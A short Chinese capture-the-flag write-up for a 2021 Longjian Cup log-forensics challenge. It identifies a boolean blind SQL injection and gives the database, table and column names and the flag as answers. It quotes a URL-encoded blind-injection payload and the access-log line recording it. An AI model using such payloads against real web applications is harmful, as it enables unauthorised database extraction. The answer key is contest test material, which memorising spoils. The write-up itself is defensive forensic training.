[2021首届“陇剑杯”网络安全大赛] SQL注入
题目描述:某应用程序被攻击,请分析日志后作答:
- 黑客在注入过程中采用的注入手法叫___布尔盲注___。(格式为4个汉字,例如“拼搏努力”)
- 黑客在注入过程中,最终获取flag的数据库名、表名和字段名是__Sqli#flag#flag_。(格式为“数据库名#表名#字段名”,例如database#table#column)
- 黑客最后获取到的flag字符串为___flag{deddcd67-bcfd-487e-b940-1217e668c7db}___。
1%20and%20if(substr((select%20flag%20from%20sqli.flag),43,1)%20=%20'D',1,(select%20table_name%20from%20information_schema.tables))
显然是盲注
172.17.0.1 - - [01/Sep/2021:01:46:06 +0000] "GET /index.php?id=1%20and%20if(substr((select%20flag%20from%20sqli.flag),43,1)%20=%20'D',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 427 "-" "python-requests/2.26.0"
可以知道数据库名,表名,字段名Sqli#flag#flag
将日志导入excel,筛选返回长度479 480 481 482
Excel处理
flag{deddcd67-bcfd-487e-b940-1217e668c7db}